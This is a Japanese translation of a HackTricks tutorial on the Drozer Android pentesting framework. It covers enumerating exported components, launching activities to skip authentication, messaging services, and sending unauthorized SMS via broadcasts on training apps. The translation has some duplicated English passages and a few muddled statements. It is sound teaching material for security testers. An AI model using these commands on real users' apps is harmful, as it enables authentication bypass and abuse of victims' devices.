hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial
2023-07-07 23:42:27 +00:00
..
exploiting-content-providers.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated to Japanese 2023-07-07 23:42:27 +00:00

Drozerチュートリアル

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

バグバウンティのヒント:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームであるIntigritiに登録してください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**の報奨金を獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

テストするAPK

インストール

ホスト内にDrozerクライアントをインストールします。最新リリースからダウンロードしてください。

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

最新のリリースからdrozer APKをダウンロードしてインストールします。現時点では、こちらです。

adb install drozer.apk

サーバーの起動

エージェントはポート31415で実行されています。Drozerクライアントとエージェントの間の通信を確立するために、ポートフォワーディングが必要です。以下はそのためのコマンドです:

adb forward tcp:31415 tcp:31415

最後に、アプリケーション起動し、下部の「ON」ボタンを押します。

そして、それに接続します:

drozer console connect

おもしろいコマンド

コマンド 説明
Help MODULE 選択したモジュールのヘルプを表示します。
list 現在のセッションで実行できるすべてのdrozerモジュールのリストを表示します。適切な権限を持っていないモジュールは非表示にされます。
shell デバイス上でエージェントのコンテキストで対話型のLinuxシェルを開始します。
clean drozerがAndroidデバイス上に保存した一時ファイルを削除します。
load drozerコマンドを含むファイルをロードし、順番に実行します。
module インターネットから追加のdrozerモジュールを検索してインストールします。
unset drozerが生成するすべてのLinuxシェルに渡される名前付き変数を削除します。
set drozerによって生成されるすべてのLinuxシェルに環境変数として渡される変数に値を格納します。
shell デバイス上でエージェントのコンテキストで対話型のLinuxシェルを開始します。
run MODULE drozerモジュールを実行します。
exploit drozerはデバイスで実行するためのエクスプロイトを作成できます。 drozer exploit list
payload エクスプロイトにはペイロードが必要です。 drozer payload list

パッケージ

名前の一部でフィルタリングされたパッケージの名前を見つける:

dz> run app.package.list -f sieve
com.mwr.example.sieve

パッケージの基本情報:

The package name is com.mwr.dz. It is developed by MWR InfoSecurity and is used for Android application penetration testing. The latest version is 2.4.4.

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

マニフェストを読む:

run app.package.manifest jakhar.aseem.diva

パッケージの攻撃面

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • アクティビティ: おそらく、アクティビティを開始し、起動を防ぐべき認証を回避することができます。
  • コンテンツプロバイダ: 私的なデータにアクセスしたり、いくつかの脆弱性SQLインジェクションやパストラバーサルを悪用したりすることができるかもしれません。
  • サービス:
  • is debuggable: 詳細を学ぶ

アクティビティ

AndroidManifest.xmlファイルで、エクスポートされたアクティビティコンポーネントの「android:exported」の値が**「true」**に設定されています。

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

エクスポートされたアクティビティのリスト

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

アクティビティの開始:

おそらく、アクティビティを開始し、それを起動することを防ぐべき認証を回避することができます。

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

あなたはadbからもエクスポートされたアクティビティを開始することができます:

  • パッケージ名はcom.example.demoです
  • エクスポートされたアクティビティ名はcom.example.test.MainActivityです
adb shell am start -n com.example.demo/com.example.test.MainActivity

コンテンツプロバイダ

この投稿は非常に大きいため、ここで独自のページでアクセスできます

サービス

エクスポートされたサービスはManifest.xml内で宣言されます

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

コード内で、handleMessage関数をチェックして、メッセージ受信するようにしてください。

サービスのリスト

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

サービスとの対話

To interact with a service, you can use the run command in drozer. This command allows you to execute various actions on the target service.

サービスと対話するために、drozerでrunコマンドを使用することができます。このコマンドを使用すると、対象のサービスでさまざまなアクションを実行することができます。

The basic syntax of the run command is as follows:

run <module> <action> [options]

runコマンドの基本的な構文は以下の通りです:

run <モジュール> <アクション> [オプション]

Here, <module> refers to the module you want to interact with, <action> refers to the action you want to perform on the module, and [options] refers to any additional options or parameters required for the action.

ここで、<モジュール>は対話したいモジュールを指し、<アクション>はモジュールで実行したいアクションを指し、[オプション]はアクションに必要な追加のオプションやパラメータを指します。

For example, to interact with the activity module and list all activities in the target app, you can use the following command:

たとえば、activityモジュールと対話し、対象のアプリ内のすべてのアクティビティをリストするには、次のコマンドを使用します:

run app.activity.info -a <target_app_package_name>

Here, <target_app_package_name> should be replaced with the package name of the target app.

ここで、<target_app_package_name>は対象のアプリのパッケージ名に置き換える必要があります。

You can explore the available modules and actions by using the list command:

listコマンドを使用して、利用可能なモジュールとアクションを調べることができます:

run list

This will display a list of all available modules and their actions.

これにより、利用可能なすべてのモジュールとそのアクションのリストが表示されます。

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

app.service.senddrozerのヘルプを見てみましょう:

"msg.what"の中に最初にデータを送信し、その後に"msg.arg1"と"msg.arg2"を送信することに注意してください。どの情報が使用されているか、そしてどこで使用されているかは、コードの中を確認する必要があります。
--extraオプションを使用すると、"_msg.replyTo"によって解釈される何かを送信できます。また、--bundle-as-objを使用すると、提供された詳細を持つオブジェクトを作成できます。

次の例では:

  • what == 2354
  • arg1 == 9234
  • arg2 == 1
  • replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

ブロードキャストレシーバー

Androidアプリは、Androidシステムや他のAndroidアプリからブロードキャストメッセージを送受信することができます。これは、パブリッシュ-サブスクライブデザインパターンに似ています。これらのブロードキャストは、興味のあるイベントが発生したときに送信されます。たとえば、Androidシステムは、システムの起動時やデバイスの充電開始時など、さまざまなシステムイベントが発生したときにブロードキャストを送信します。アプリはカスタムブロードキャストも送信できます。たとえば、他のアプリに興味があることを通知するために、新しいデータがダウンロードされたことを通知するためにカスタムブロードキャストを送信できます。

アプリは特定のブロードキャストを受信するために登録することができます。ブロードキャストが送信されると、システムはその特定のタイプのブロードキャストを受信するために登録したアプリに自動的にブロードキャストをルーティングします。

これはManifest.xmlファイルの中に表示される可能性があります。

<receiver android:name=".MyBroadcastReceiver"  android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
</intent-filter>
</receiver>

From: https://developer.android.com/guide/components/broadcasts

これらのブロードキャストレシーバーを発見した後は、それらのコードをチェックする必要があります。受信されたメッセージを処理するために、特に**onReceive**関数に注意を払ってください。

すべてのブロードキャストレシーバーを検出する

run app.broadcast.info #Detects all

アプリのブロードキャストレシーバーをチェックする

To check the broadcast receivers of an app, you can use the drozer tool. This tool allows you to interact with the Android operating system at the application layer, providing a convenient way to analyze and test the security of Android apps.

To begin, make sure you have drozer installed on your machine. You can find installation instructions in the official documentation.

Once drozer is installed, follow these steps to check the broadcast receivers of an app:

  1. Connect your Android device to your machine using a USB cable.

  2. Enable USB debugging on your Android device.

  3. Open a terminal and run the following command to start a drozer session:

    drozer console connect
    
  4. Once the drozer session is started, run the following command to list all installed packages on the device:

    run app.package.list -f
    

    This will display a list of all installed packages along with their package names.

  5. Identify the package name of the app you want to check the broadcast receivers for.

  6. Run the following command to list the broadcast receivers of the app:

    run app.broadcast.info -a <package_name>
    

    Replace <package_name> with the actual package name of the app.

    This command will display information about the broadcast receivers registered by the app, including their names, permissions, and exported status.

By checking the broadcast receivers of an app, you can identify potential security vulnerabilities or misconfigurations that could be exploited by attackers. It is an important step in the process of mobile app penetration testing.

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

ブロードキャスト インタラクション

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

メッセージを送信する

この例では、FourGoats apkのContent Providerを悪用して、ユーザーの許可を求めずに任意のSMSを非プレミアムの宛先に送信することができます。

コードを読むと、パラメータ "phoneNumber" と "message" をContent Providerに送信する必要があります。

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

デバッグ可能かどうか

プロダクションAPKは決してデバッグ可能になってはいけません。
これは、実行中のアプリケーションにJavaデバッガをアタッチすることができ、実行時にそれを検査し、ブレークポイントを設定し、ステップごとに進んで変数の値を収集し、さらには変更することができることを意味します。InfoSec Instituteには、デバッグ可能なアプリケーションを掘り下げるための素晴らしい記事があります。

アプリケーションがデバッグ可能である場合、マニフェストに表示されます:

<application theme="@2131296387" debuggable="true"

Drozerを使用して、すべてのデバッグ可能なアプリケーションを見つけることができます。

run app.package.debuggable

チュートリアル

追加情報

バグバウンティのヒント: Intigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥